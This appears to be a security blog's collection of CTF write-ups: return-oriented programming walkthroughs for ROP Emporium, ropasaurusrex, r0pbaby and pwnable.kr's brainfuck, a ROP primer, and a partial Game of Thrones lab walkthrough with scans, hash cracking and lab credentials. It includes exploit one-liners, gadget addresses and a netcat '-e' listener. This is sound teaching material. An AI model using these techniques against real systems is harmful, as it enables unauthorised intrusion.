Featured

Index

This is a sticky post. Below you can find links to all of my write-ups.

Return Oriented Programming Series

Web Exploitation

Binary Exploitation

Reverse Engineering

Capture the Flags

General Network Exploitation

Offensive Security Certified Professional (OSCP) Journey

Programs:

 

I will keep updating this post, adding more links as I add more write-ups.

ROP Write-Ups

The following text includes write-ups on Capture The Flag (CTF) challenges and wargames that involve Return Oriented Programming (ROP) or ret2lib.

Each write-up tackles a challenge of increasing difficulty, and explains different aspects as to how the exploit was achieved.

As it turns out, in many, but certainly not all cases, CTF and wargame challenges are harder than real-life vulnerabilities. Additionally, these challenges have intended vulnerabilities, allowing the developer to learn as she progresses. This makes CTFs and wargames a great learning resource, directly applicable to the real world.

List of challenges/write-ups:

  1. ret2win (ROP Emporium)
  2. split (ROP Emporium)
  3. callme (ROP Emporium)
  4. write4 (ROP Emporium)
  5. badchars (ROP Emporium)
  6. ropasaurusrex  (PlaidCTF 2013)
  7. r0pbaby (Defcon Qualifiers 2015)
  8. brainfuck (Pwnable.kr)

More write-ups will be added gradually. All suggestions are welcome.

ret2win (ROP Emporium)

Instructions

Locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.
Click below to download the binary.

Solution

Checking the binary’s security mechanisms:
checksec ret2win

screenshot

We want to confirm that NX is indeed enabled. Meaning that the binary has a non-executable stack.

Running the binary using GDB:
gdb -q ./ret2win
pattc 50
r
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

screenshot 2

Creating a pattern allows us to find the offset, as it consists of unique sequences of characters.

Notice the pattern offset: AA0AAFAAb.

Also notice the functions “ret2win” and “pwnme”. They seem pretty self-explanatory, and the program crashes when returning from pwnme().

Finding the offset:
patto AA0AAFAAb

screenshot 3

Confirming control:
python -c “print ‘a’ * 40 + ‘b’ * 5”
r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbb

screenshot 6

Perfect. This means we need a 40-byte buffer to reach the return address.

Inspecting the functions using Binary Ninja:
binaryninja ret2win

screenshot 4screenshot 5

It is clear that returning to ret2win will yield the flag, and that is the goal.
The overwrite is actually very simple, as seen next.

Overwriting pwnme()’s return address to return to ret2win():
python -c “from pwn import *; print ‘a’ * 40 + p64(“0x40081f”)” | ./ret2win

screenshot 7

p64, available from Pwntools, allows us to pack 64-bit integers.

 

split (ROP Emporium)

Instructions

In this challenge the elements that allowed you to complete the ret2win challenge are still present, they’ve just been split apart. Find them and recombine them using a short ROP chain.

Solution

Checking the binary’s security mechanisms:
checksec split

screenshot

The security mechanisms are as expected. This is a ROP challenge after all.

Searching for the /bin/cat string:
rabin2 -z split

screenshot 2

The -z flag shows the strings from the .data section.

/bin/cat address: 0x601060

Confirming the buffer size is the same:
gdb -q ./split
pattc 50
r
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

screenshot 3

Confirming the offset:
patto AA0AAFAAbA

screenshot 4

As noted in the instructions, the dynamics are the same as with ret2lib.
The only difference seems to be that we have to connect system() with /bin/cat flag.txt
This is why we searched for the string first.

Analyzing the binary:
binaryninja split

screenshot 5screenshot 6

Notice that RDI and RAX contain my user input.
In 64-bit systems, the first argument to a function is read from RDI.
This plays into the plan of having system(/bin/cat).

screenshot 7

System address: 0x40080b

usefulFunction() passes /bin/ls to system().
We can overwrite this with /bin/cat.

Attack Plan:
1) Overwrite pwnme()’s return address to point to usefulFunction()
2) Find a pop/ret gadget to overwrite /bin/ls with /bin/cat

The gadget has to consist of:
pop rdi
ret

This is because system() only takes one argument, which right now is /bin/ls.

Finding the gadget:
ropper –file split –search “pop rdi; ret;”

screenshot 8

Gadget address: 0x400883

We now have all we need to build the exploit.

Important Addresses:
System: 0x400810
Gadget: 0x400883
/bin/cat: 0x601060

Although we searched for the offset manually, we am going to use an automated solution in the exploit script.
Both are valid ways of finding offsets.

Building the exploit script:

screenshot 9screenshot 10

Exploiting the binary:
python split_kill.py

screenshot 11

Alternative one-liner:
python -c “from pwn import *; print ‘a’ * 40 + p64(“0x400883”) + p64(“0x601060”) + p64(“0x400810″)” | ./split

screenshot 12

 

callme (ROP Emporium)

Instructions

Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.

You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.

Solution

Checking the binary’s security mechanisms:
checksec callme

screenshot

As expected.

Checking the symbols imported from libraries:
rabin2 -i callme | grep callme

screenshot 2

The -i flag shows the imports.
We now have the locations of the callme_* functions.

callme_one: 0x401850
callme_two: 0x401870
callme_three: 0x401810

The instructions mention passed the arguments ‘1’, ‘2’, and ‘3’ to each function.

This means we need to find gadgets that do the following:
POP RDI
POP RSI
POP RDX
RET

Finding the pop/pop/pop/ret gadget:
ropper –file callme –search “pop rdi; pop rsi; pop rdx; ret;”

screenshot 3

Perfect.

Gadget Address: 0x401ab0

The only thing left to do now is find the offset.

Finding the offset:
gdb -q ./callme
pattc 100
r

screenshot 4

patto AA0AAFAAb

screenshot 5

Offset: 40

Important addresses:
callme_one: 0x401850
callme_two: 0x401870
callme_three: 0x401810
Gadget Address: 0x401ab0

We can now build the exploit script.

Building the exploit script:
gvim callme_kill.py

screenshot 7screenshot 8

Getting the flag and (frail) shell:
python callme_kill.py

screenshot 6

 

write4 (ROP Emporium)

Instructions

Find and manipulate gadgets to construct an arbitrary write primitive and use it to learn where and how to get your data into process memory.

Try to wrap some of your functionality in helper functions, if you can write a 4 or 8 byte value to a location in memory, can you craft a function (in python using pwntools for example) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location? Crafting templates like this will make your life much easier in the long run.

Solution

Checking the binary’s security mechanisms:
checksec write4

screenshot

Since ROP Emporium stated since the start that the offset will be 40, we will not “try to figure it out” as we have done in previous challenges.

Finding writable memory:
readelf –sections write4

screenshot 2

Notice the .data section is Read-Write. The .data section contains global variables and is accessed through normal registers.

Since the .data section is uninitialized, we can use it to hold strings.

.data address: 0x601050

The next step is to figure out how to use gadgets to write the string to the .data section.

To this end, we can use pop/pop/ret and move/ret gadgets.

Before doing that though, since this series is notorious for giving helpful functions, would it not give us the gadgets as well?

Checking symbols:
nm -an write4

screenshot 3

Well look at that, it gave the the address of useful gadgets.

Gadget address: 0x400820

Confirming the gadgets are solid:
r2 write4
pd 16 @ 0x400820

screenshot 4

Nice. So we can use registers r14 and r15 to move strings to .data.
This also helps in knowing the necessary structure for the other gadgets.

Now to get data into the registers used by the gadget above. Time to look for a pop/pop/ret gadget.

Searching for pop/pop/ret:
ropper –file write4 –search “pop r14; pop r15; ret;”

screenshot 5

pop/pop/ret address: 0x400890

Cool. The only things left to do are finding system and a pop rdi; ret; gadget.
As you know by now, system takes one parameter, and the pop/ret gadget deals with that.

Finding the pop/ret gadget:
ropper –file write4 –search “pop rdi; ret”

screenshot 6

pop/ret address: 0x400893

System is easy to find via pwntools. Unto building the exploit script. Before that though, a summary.

Strategy:
1) Pop registers r14 and r15 to hold the .data address and the target string respectively.
2) Write (mov) the string (r15) to the .data section (r14).
3) Pop rdi (first parameter to system) to hold the location of the target string in the .data section.
4) Call system

Important Addresses:
.data address: 0x601050
mov/ret address: 0x400820
pop/pop/ret address: 0x400890
pop/ret address: 0x400893
System address: TBD

The instructions suggest writing a helper function that takes a string and memory location and returns a ROP chain that will write the string to the chosen location. We will have that in mind when building the exploit script. This function will be useful in the future, as it can be reused.

Building the exploit script:
gvim write4kill.py

screenshot 8screenshot 9screenshot 10

Executing the exploit:
python write4kill.py

screenshot 7

badchars (ROP Emporium)

Instructions

Learn to deal with badchars, characters that will not make it into process memory intact or cause other issues such as premature chain termination.

It’s almost certainly worth your time writing a helper function for this challenge. Perhaps one that takes as parameters a string, it’s desired location in memory and an array of badchars. It could then write the string into memory and deal with the badchars afterwards. There’s always a chance you could find a string that does what you want and doesn’t contain any badchars either.

Solution

Checking the binary’s security mechanisms:
checksec badchars

screenshot

Since ROP Emporium stated since the start that the offset will be 40, we will not try to figure it out as we have done in previous challenges.

As ROP Emporium also stated, they are aiming for minimal reverse engineering. This is evidenced by the binary showing the bad characters when it’s run.

Confirming the badchars using Binary Ninja:
binaryninja badchars

screenshot 2

Badchars: 0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73

No tricks here. Plus, the old usefulFunction() is back.

screenshot 3

It looks like this challenge will be similar to split and write4, with the difference that there are bad characters.

We can just XOR the string to avoid the bad chars.

We will be using the helper function created in write4 in order to write to memory.

Finding writable memory:
readelf –sections badchars

screenshot 4

.data address: 0x601070

I wonder if usefulGadgets is still there?

Checking symbols for usefulGadgets:
nm -an badchars

screenshot 5

Gadget address: 0x400b30

Checking what the gadgets are:
r2 write4
pd 16 @ 0x400b30

screenshot 6

Very nice. This gadget will help to decode my target string.

Now to get data into the registers used by the gadget above. Time to look for a pop/pop/ret gadget.

Searching for pop/pop/ret:
ropper –file badchars –search “pop r14; pop r15; ret;”

screenshot 7

pop/pop/ret address: 0x400b40

Awesome. So, we have the decoding part down. Now to find gadgets to write to memory.
As in the write4 challenge, these will be mov/ret and pop/pop/ret.

Searching for mov/ret and pop/pop/ret:
ROPgadget –binary badchars –only “mov|pop|ret”

screenshot 8

Cool. Three birds with one stone.

mov/ret: 0x400b34
pop/pop/ret: 0x400b3b
pop/ret: 0x400b39

This last pop/ret is the pop rdi; ret that we need for system().
We can find the system() PLT address with pwntools.

We now have all we need to write the exploit script. We will be reusing the write4 helper function and XOR’ing the target string.

Strategy:
1) Pop registers r13 and r12 to hold the .data address and the XOR’ed target string respectively.
2) Write (mov) the string (r12) to the .data section (r13).
3) Pop the XOR’ed string and decode (XOR) it.
3) Pop rdi (first parameter to system) to hold the location of the target string in the .data section.
4) Call system

Important Addresses:
.data address: 0x601070
xor/ret address: 0x400b30
pop/pop/ret address (XOR): 0x400b40
mov/ret: 0x400b34
pop/pop/ret: 0x400b3b
pop/ret: 0x400b39
System address: TBD

Building the exploit script:
gvim no_badchars.py

screenshot 10screenshot 11screenshot 12screenshot 13

Note there is a switch in the order of the target string and target address due to the gadgets being used.

Launching the exploit:
python no_badchars.py

screenshot 9

 

ropasaurusrex (PlaidCTF 2013)

Instructions

PlaidCTF ROP challenge.

Solution

Checking the binary’s security mechanisms:
checksec ropasaurusrex

screenshot 25

Analyzing the binary using Binary Ninja:
binaryninja ropasaurusrex
Go to function sub_80483f4
Change the values to signed decimal where appropriate

screenshot 5

Options -> Medium Level IL

screenshot 4

There is a clear buffer overflow vulnerability. We are going to test the theory.

Testing for a buffer overflow:
gdb -q ./ropasaurusrex
pattc 150
Copy the output
r
Paste the output

screenshot

Pattern: AmAA

Finding the offset:
patto AmAA

 

screenshot 3

The payload will require a 140-byte buffer.

Starting the binary as a network service:
echo ‘while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done’ > start.sh
bash start.sh

Creating a skeleton network exploit script:
gvim ropakill.py

screenshot 6

Testing the script:
python ropakill.py

screenshot 8

Network-side:

screenshot 7

Verifying the payload:
gdb -q ./ropasaurusrex core

screenshot 9

Success.

Since this is a ROP challenge, or return-to-libc, my goal is to run system, which can already be found via the binary, along with a string such as /bin/sh.

The premise behind ROP is that we can manipulate the program flow by utilizing available functions and returns. Hence, jumping from return to return as is convenient for crafting my payload.

To get the “/bin/sh” string in memory, we have to:
1) First, find some memory that we can write to
2) Second, find a function that can write to it

Finding writable memory:
readelf -l ropasaurusrex

screenshot 10

The -l flag displays the program headers, along with section to segment mapping, which determine the actual permissions. Note that .dynamic has the RW flags, which stand for Read Write.

The .dynamic section holds information for dynamic linking, which we don’t care for here. So, we’re going to use 0x08049530 to write the command string (‘/bin/sh’) to.

Now we need to find a function that can do the writing to the chosen address. To this end we can either use a function available within the executable or a function in one of the libraries being used. The upside to using one of the executable’s own functions is that the addressing will be consistent across systems, while the libraries option will vary from system to system.

Finding a function to write with:
objdump -R ropasaurusrex

screenshot 11

The -R flag dumps relocated bytes.

The executable gives us both the write() and read() functions. read() will read data from the socket, and write it to memory.

ssize_t read(int fd, void *buf, size_t count);

ssize_t write(int fd, const void *buf, size_t count);

Since the binary is not ASLR’d, we can rely on the offsets above.

We can write with read() due to how it is called. See below.

screenshot 18

It is called as an indirect Jump. This means that if we can overwrite the value at 0x804961C, and the call to read() still jumps to this address, then we can really jump anywhere we want; We can jump to anywhere we overwrite the address with.

Finding the values of read() and system():
x/x system
x/x 0x804961C

screenshot 19

System: 0x8b0cec83
Read: 0xf7e947a0

We want the stack to look as follows:

+———————-+ <- start of read()’s stack frame
| size_t count | <- count; strlen(“/bin/sh”)
+———————-+
| void *buf | <- writable memory; 0x08049530
+———————-+
| int fd | <- ‘stdin’ (0)
+———————-+
| [return address] | <- where ‘read’ will return
+———————-+
| … | <- saved frame pointer; doesn’t matter
+———————-+
| … | <- read() local variables; doesn’t matter
+———————-+
Updating the exploit script:

screenshot 14

Testing the exploit script:
python ropakill.py ‘/bin/sh’
gdb -q ropasaurusrex core

screenshot 13

Verifying we could write the string to memory:
x/s 0x08049530

screenshot 12

Now that we verified I can write to memory, we have to call system and point it at the address we wrote to.

Verifying linked libraries:
ldd ./ropasaurusrex

screenshot 15

As expected, libc is used.

Verifying system:
nm -D /lib/i386-linux-gnu/libc.so.6 | grep system

screenshot 16

System only takes one argument, and hence its stack frame is straightforward.

+———————-+ <- start of system()’s stack frame
| void *arg | <- writable memory, 0x08049530
+———————-+
| [return address] | <- where ‘system’ will return
+———————-+
| … | <- system() local variables; doesn’t matter
+———————-+

Stacking the system() frame on top of the read() frame looks as follows:

+———————-+ <- start of system()’s stack frame
| void *arg | <- writable memory, 0x08049530
+———————-+
| [return address] | <- where system() will return
+———————-+
| … |
+———————-+ <- start of read()’s stack frame
| size_t count | <- count; strlen(“/bin/sh”)
+———————-+
| void *buf | <- writable memory; 0x08049530
+———————-+
| int fd | <- ‘stdin’ (0)
+———————-+
| [return address] | <- where read() will return; system’s address
+———————-+
| … |
+———————-+
| … |
+———————-+

Since read() has three arguments, we need to pop all three off the stack and return to system’s address. That means we need to find a pop/pop/pop/ret gadget in order to have the stack pointer point to the bottom of the system frame.

Finding the gadgets:
ROPgadget –binary ropasaurusrex –only “pop|ret”

screenshot 17

Address 0x080484b6 will work.

The stack frames will now look like this:

+———————-+ <- start of system()’s stack frame [8]
| void *arg | <- writable memory, 0x08049530
+———————-+
| [return address] | <- where system() will return; random
+———————-+
| … |
+———————-+ <- gadget frame [7]
| [read address] | <- read() address; jumps to system
+———————-+
| … |
+———————-+ <- start of second read()’s stack frame [6]
| size_t count | <- count
+———————-+
| void *buf | <- pointer to read() to overwrite
+———————-+
| int fd | <- ‘stdin’ (0)
+———————-+
| [gadget address] | <- address of pop/pop/pop/ret
+———————-+
| … |
+———————-+ <- gadget stack frame [4]
| [read address] | <- address of read()
+———————-+
| … |
+———————-+ <- start of write()’s stack frame [3]
| size_t count | <- count
+———————-+
| void *buf | <- pointer to read()
+———————-+
| int fd | <- ‘stdout’ (1)
+———————-+
| [gadget address] | <- address of pop/pop/pop/ret
+———————-+
| … |
+———————-+ <- start of gadget stack frame [2]
| [write address] | <- address of write()
+———————-+
| … |
+———————-+ <- start of read()’s stack frame [1]
| size_t count | <- count; strlen(cmd)
+———————-+
| void *buf | <- writable memory; 0x08049530
+———————-+
| int fd | <- ‘stdin’ (0)
+———————-+
| [gadget address] | <- address of pop/pop/pop/ret
+———————-+
| … |
+———————-+

With this information we can now proceed to write the final exploit script.

The workflow will look as below:
1) Copy a command to memory by using read()
2) Use the gadget (pop/pop/pop/ret) to clean read()
3) Use write() to get the address of read() from memory; its real address
4) Use the gadget (pop/pop/pop/ret) to clean write()
5) Get the system address, by calculating read() – system()
6) Overwrite the call to read() in the PLT with system()
7) Use the gadget (pop/pop/pop/ret) to return to the overwritten read(), now system
8) Call read() / system()

Updating the exploit script:

screenshot 20screenshot 21screenshot 22screenshot 23

We chose to not use the helper function written for ROP Emporium in order to show how stack frames would look.

Performing the exploit:
python ropakill.py

screenshot 2

 

r0pbaby (Defcon Qualifiers 2015)

Instructions

Defcon Qualifiers ROP challenge.

Solution

Checking the binary’s security mechanisms:
checksec r0pbaby

screenshot

We are dealing with a 64-bit binary.

Starting the program:
gdb -q ./r0pbaby

Creating a pattern:
pattern_create 50

Running the program:
3
50
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

screenshot 2screenshot 3

We get a segmentation fault.

Finding the offset:
x/s $rsp
pattern_offset ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

screenshot 4

Testing for accuracy:
python -c “print ‘a’ * 8 + ‘b’ * 8”
r
3
16
aaaaaaaabbbbbbbb
x/i $rip
x/s $rsp

screenshot 5

We need to use an 8-byte buffer.

Now we need to:
1) Find system
2) Find useful gadgets
3) Find sh

The gadget has to consist of:
pop rdi
ret

In 64-bit systems, the arguments are read starting from RDI.

Finding the libc gadgets:
cp /lib/x86_64-linux-gnu/libc.so.6 libs/r0pbaby/
ropper –file libs/r0pbaby/libc.so.6 –search “pop rdi; ret;”

screenshot 6

Gadget address: 0x0002144f

Finding the libc /bin/sh:
strings -tx libc.so.6 | grep “/bin/sh”

screenshot 7

/bin/sh address: 0x0017d3f3

The flags -tx indicate to print the address in hex.

Getting system from the binary:
2
system

screenshot 9

Knowing the format helps for when writing the exploit script.

Getting the libc system:
nm -D ./libc.so.6 | grep system

screenshot 8

System: 0x42510

We now have all I need to write the exploit script.

Writing the exploit script:
gvim r0pkill.py

screenshot 10

screenshot 11

Launching the attack:
python r0pkill.py

screenshot 12

 

brainfuck (pwnable.kr)

Instructions

I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.

Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so

Running at : nc pwnable.kr 9001

Solution

Checking the binary’s security mechanisms:
checksec bf

screenshot

We’re dealing with a 32-bit binary with a canary. This means that if this canary value is overwritten, by say, a buffer overflow, then the program will detect my attempt and block it.

Also, NX (No Execute) is enabled, meaning we are dealing with a non-executable stack. We also get the SO file.
Hence, this is a ROP challenge.

Running the binary:
r

screenshot 2

The binary takes user input, does some processing, and exits.
As expected, we also tried running a pattern, but the program exited normally.
Time to dig in further.

Analyzing the binary using Binary Ninja:
binaryninja bf
Options -> Medium Level IL

screenshot 14

screenshot 15

It looks like the main functionality is in the do_brainfuck() function.

Analyzing do_brainfuck():
Since the challenge title says brainfuck, I decided to search for brainfuck and see what I got. It turns out it is a programming language with eight (8) commands.

From Wikipedia:

screenshot 4screenshot 5

This information turns out to be incredibly helpful when translating the Assembly.

Curiously enough, when I first tried this challenge, Binary Ninja allowed me to display the cases correctly (e.g., displaying ‘>’) when changing the hex to character constants. As I write this, that was no longer the case, hence making me comment the different cases.

Translation:

screenshot 6screenshot 7screenshot 8screenshot 9

Translation:
> == ptr++
< == ptr–
+ == *ptr += 1
– == *ptr -= 1
. == putchar(*ptr)
, == *ptr == getchar()
[ == puts(…)

We control the pointer (p) and will use these commands to alter program flow.

Where is ‘p’ though? We actually saw the location in main() before.

screenshot 11

Double-clicking on the address shows it’s in a section titled ‘tape’.

screenshot 12

P/Tape: 0x0804a0a0

Since this is a ROP challenge, that means wewill alter execution flow by modifying the available functions with return addresses that ultimately lead to System.

More concretely this means:
1) Finding a function to overwrite with system
2) Calling the new system function
3) Finding or writing sh
4) Using the brainfuck commands to achieve the above (this step would usually be finding gadgets)

Given the flow of the program, we can use fgets and memset to do the overwrite and calling, respectively.

Finding the function addresses:
objdump -R ropasaurusrex

screenshot 10

fgets: 0x0804a010
memset: 0804a02c

The -R flag dumps relocated bytes. Since the binary is not ASLR’d, we can rely on the offsets above.

Finding the libc /bin/sh:
strings -tx bf_libc.so | grep “/bin/sh”

screenshot 13

/bin/sh address: 0x0015909f

We now have all the information needed to craft the exploit. We can calculate the remaining necessary addresses on-the-fly with pwntools.

Exploit workflow:
1) Overwrite fgets with system
2) Overwrite memset with fgets
3) Overwrite putchar with main
4) Re-enter main

The workflow will be achieved by mixing brainfuck commands with input (addresses) we send.

Crafting the exploit:

screenshot 16screenshot 17screenshot 18

Launching the attack:
python bf_destroy.py

Getting the flag:
ls -l
cat flag

screenshot 3

Flag: BrainFuck? what a weird language..

 

More write-ups to come.

ROP Environment Setup

You will want to have the following software installed in order to make your life easier and make you more efficient.

Disassembler (At least one of the following):

Debugger:

Add-ons:

Note-Keeping:

  • KeepNote

 

The add-ons help with finding ROP gadgets. Pwntools is a great add-on to interact with binaries in general.

Note that Radare2 is not only a powerful disassembler and debugger, it is also free. Not only does it have a command line version, but it also comes with various GUIs.

Return Oriented Programming Series Introduction

This post is divided into two sections:

  1. Purpose
  2. Introduction to Return Oriented Programming (ROP)

Purpose

Return Oriented Programming seems like arcane magic to many. It involves low-level understanding of systems, and can very quickly become overwhelming for the new eye. This series aims to teach ROP in a reader-friendly way. I will cover areas just enough so that you can get the gist of them, and it will be up to you, the reader, to dig in further and learn more.

You don’t need to learn the entire mechanics of swimming in order to swim, do you? A basic understanding is more than enough. Now, if you want to become a competitive or a good swimmer, you learn more about the different techniques used, exercises to do, etc. It’s the same with everything else. So, grab a coffee, tea, or whatever is your thing, sit back, relax, and enjoy.

The series will cover Capture The Flag (CTF) competitions, wargames, and real-world exploits. The aim is to teach the reader, via write-ups, how to exploit binaries by using ROP.

A surgeon doesn’t start his learning journey by opening up a human and figuring out what goes where. The future surgeon first learns about the body, its concepts. Then, she starts operating on frogs, mice, and other small animals, with the help of others. Eventually, she starts operating on actual humans with the assistance of others. Finally, she takes lead in performing surgery, while still receiving help.

I bring up surgeons as a way to demonstrate that all learning is the same. You will, at first, need a lot of assistance. Once you become proficient enough, you will be able to do things by yourself, although you might still need the help of others; be it through searching online or collaborating with someone. There’s nothing bad to it. This series is to help you out with the initial steps, with not too much hand-holding, but sufficient explanations.

Introduction to Return Oriented Programming

The simple idea:

Return Oriented Programming (ROP) or Return-To-Libc, is a binary exploitation technique where program flow is manipulated by utilizing available functions in order to achieve a particular goal. ROP is able to bypass security mechanisms such as a Non-Executable Stack due to the fact that it lives off the land, off what’s already available.

The details:

The name ROP is given because developers utilize a series of Assembly instructions which end with RET (return) that perform a particular operation and then transfer (or return) control to the return address located in the stack.

These series of Assembly instructions are called gadgets. Gadgets can be used by the developer in order to form a chain of commands that helps them achieve their goal. For example, if the developer was dealing with a 64-bit binary and wanted to overwrite the argument passed to system(), she would look for a POP RDI; RET; gadget.

If this all looks confusing, don’t worry! I will provide more details below.

The name Return-To-Libc is given because exploit developers utilize libc functions, such as system(), which are available to the binary, in order to overwrite return addresses and alter program flow. For example, the program might be using the fgets() function to do some operation, and we can overwrite the call to fgets() with a call to system(), so that when the program tries to call fgets(), it will actually call system().

Prerequisite Knowledge Reference:

The following are some concepts that are important to understand in order to do ROP. I will provide useful bits that you can reference back to when in need of help. That said, for a better understanding, look them up in your favorite search engine and learn more.

Concepts:

What follows are some useful bits that you can reference back to when reverse engineering or developing an exploit.

Stack

The stack is a Last-In-First-Out (LIFO) system, just like a real stack of plates or trays is.

stack

If we look at the function read(int fd, void *buf, size_t count); then the file descriptor (fd) is the red plate, the buffer (buf) is the orange plate, and count is the yellow plate.

When the computer reads this function from the stack, it will grab (or pop) the yellow plate (count) before it grabs the orange plate (buf).

This will make even more sense when you think in terms of stack frames.

Stack Frames

Visualizing a stack frame will help more than just text. Below is the structure of a stack frame.

+———————-+ <- start of function’s stack frame
| Parameters    | <- function parameters
+———————-+
| …                  | <- there are as many blocks as there are parameters
+———————-+
| …                  |
+———————-+
| ret addr          | <- the return address; where the function returns
+———————-+
| frame ptr       | <- frame pointer; address of the stack pointer before the function is called
+———————-+
| variables        | <- function’s local variables
+———————-+

If we look at a real function, let’s say read(), then it will look like this:

+———————-+ <- start of read()’s stack frame
| size_t count  |
+———————-+
| void *buf      |
+———————-+
| int fd              |
+———————-+
| [ret address] |
+———————-+
| frame pointer |
+———————-+
| local vars       |
+———————-+

Visualizing stack frames in such a way is useful when using or overwriting a function. In fact, you can write your exploit script in such a way that your payload follows this structure; making it easier to understand what you’re doing.

System Calls

The best references for system calls are Linux Syscall Reference and the MAN command.

The former will not only show you the structure of the system call, but also link you to the MAN page.

Calling Conventions

32-bit and 64-bit systems differ in how function arguments are passed. Below a quick reference.

32-Bit

Parameter order: eax, ebx, ecx, edx, esi, edi, ebp

Where EAX contains the Syscall ID.

64-Bit

Parameter order: rdi, rsi, rdx, rcx, r8, r9

I recommend you make a virtual (and perhaps even physical) sticky note of the parameter order for both 32-bit and 64-bit. You will find yourself referencing back to it often, until you can recall it from memory.

Segments

Segments are portions of the virtual address space of a program. They contain different information and have different permissions, such as Read-Write-Allocate-Execute.

Let’s look at two segments, and the rest are up to you, the reader, to look up.

Data Segment:

  • Stores data (global variables)
  • Composed of: .data, .bss, .rodata
  • Permissions: read-write (RW), .rodata is read-only (RO)
  • Accessed through normal registers (eax, ebx, ecx, edx)

Text Segment:

  • Stores code
  • Read only (RO) and executable (X)
  • Instruction Pointer / Program Counter points to current instruction
  • Libraries possess code segment
  • Instruction pointer may jump to library code

Understanding segments is important in cases when you might want to write to memory. Knowing where you’re able to write and where is most reliable is critical to writing a reliable exploit.

Moving Forward

I will be expanding this post based on reader feedback. That may mean covering certain areas in more depth, introducing other concepts, and/or changing wording. Suggestions are always welcome.

Game of Thrones CTF Write-Up

What follows is a write-up of a Capture The Flag (CTF) game, Game of Thrones 1.

The CTF has players find 11 flags, scattered throughout the Game of Thrones (GoT) world. Compromising applications, services, and breaking encryption is all part of the game.

I had a tremendous amount of fun completing this. Although the CTF might be somewhat easy for those who have, say, passed the OSCP, it is still a lot of fun. For those who are reading my blog as they prepare for the OSCP, this is a great way to train.

Thank you, v1s1t0r!

[*] Status: COMPLETED

Solution

Scan the network:
nmap -sS -Pn 192.168.121.120-140

screenshot

Run an OS scan against the target:
nmap -sS -Pn -O 192.168.121.130

screenshot 2

Check the web service:
Browse to: http://192.168.121.130

screenshot 3

Check the source code:
Right-click -> View Page Source

screenshot 4screenshot 5

Check the robots.txt file:
Browse to: http://192.168.121.130/robots.txt

screenshot 6

There are multiple hints here. First, set the User-Agent to “Three-eyed-raven” and then explore the options.

Creating a new User Agent (UA):
Open User Agent Switcher -> New

screenshot 7

Click “Ok”
Select the new UA -> Ok

Browse to the clue:
Browse to: http://192.168.121.130/the-tree/

screenshot 8

Right-click -> View Page Source

screenshot 9

We get several hints, including a username and potentially a password.

Search for the map:
Browse to: http://192.168.121.130/secret-island/

screenshot 10

Click on “Map”

screenshot 11

We now have the layout of how to approach this game, as well as clues.
Our first flag will be found via the FTP service, or Dorne.

Explore the third revealed URL:
Browse to: http://192.168.121.130/direct-access-to-kings-landing/
Right-click -> View Page Source

screenshot 12

We already have the username for entry to Dorne. We are missing the password, which the savages hold, and the savages are related to the music found in the main page.

Inspecting the audio files:
wget http://192.168.121.130/music/game_of_thrones.mp3
exiftool game_of_thrones.mp3

screenshot 13

Sweet! We found our first flag? Now we have to figure out what to do with it.

Savages secret flag: 8bf8854bebe108183caeb845c7676ae4

Search for more potentially hidden directories:
dirb http://192.168.121.130 -N 500 -S /usr/share/dirb/wordlists/big.txt

screenshot 15

Discovered directories:
1) http://192.168.121.130/sitemap.xml
2) http://192.168.121.130/h/i/d/d/e/n/index.php

Exploring the “hidden” directory:
Browse to: http://192.168.121.130/h/i/d/d/e/n/index.php

screenshot 16

Right-click -> View Page Source

screenshot 17

We now have the full set of FTP credentials.

FTP Credentials:
oberynmartell : A_verySmallManCanCastAVeryLargeShad0w

Logging into Dorne (FTP service):
ftp 192.168.121.130

screenshot 18

Sweet! Another flag!

Dorne Flag: fb8d98be1265dd88bac522e1b2182140

Investigating the server:
dir

screenshot 19screenshot 20

Analyzing the two files:
file the_wall.txt.nc

screenshot 21

cat problems_in_the_north.txt

screenshot 22

Apparently we are going to have to crack the hash in order to decrypt the_wall.txt

A search on Google reveals the following:

screenshot 14

We are going to have to use hashcat-legacy in order to crack the hash.

Cracking the hash:
echo “6000e084bf18c302eae4559d48cb520c:2hY68a” > hash
hashcat-legacy -m 3610 -a 0 hash /usr/share/wordlists/rockyou.txt

screenshot 23

Password: stark

Decrypting the_wall.txt:
mcrypt -d the_wall.txt.nc

screenshot 24

cat the_wall.txt

screenshot 25

Sweet! We have access to a new area.
Since it is clearly giving us the path, it looks like we are going to have to edit our hosts file.

URL: http://winterfell.7kingdoms.ctf/——W1nt3rf3ll—&#8212;
User: jonsnow
Pass: Ha1lt0th3k1ng1nth3n0rth!!!

Exploring Winterfell:
vi /etc/hosts

screenshot 26

Browse to: http://winterfell.7kingdoms.ctf/——W1nt3rf3ll——/

screenshot 27screenshot 28

Right-click -> View Page Source

screenshot 29

Winterfell Flag: 639bae9ac6b3e1a84cebb7b403297b79

We get a flag, plus a couple of hints.

Exploring the clues:
Click on “../winterfell.css”

screenshot 30

Download the “stark_shield.jpg”
strings index.jpeg

screenshot 31

We have all the clues we need. The Iron Islands are touted as a DNS server, and so we must query the server’s DNS txt record to get to the next step.

Querying the DNS server:
nslookup -q=txt TimeF0rconqu3rs.7kingdoms.ctf 192.168.121.130

screenshot 32

Excellent. We have another flag. We can also proceed to the next region!

Iron Islands Flag: 5e93de3efa544e85dcd6311732d28f95

Browsing to the Stormlands:
Browse to: http://192.168.121.130:10000/

screenshot 33

Login

screenshot 34

Enter ‘ in the search bar -> Click on “File Manager”

screenshot 35screenshot 36

At first I thought about clicking away on the file system, but it was unresponsive. No matter. There are other ways to get the flag.

Searching for a Webmin exploit:
Search: webmin exploit
Read: https://www.exploit-db.com/exploits/21851/
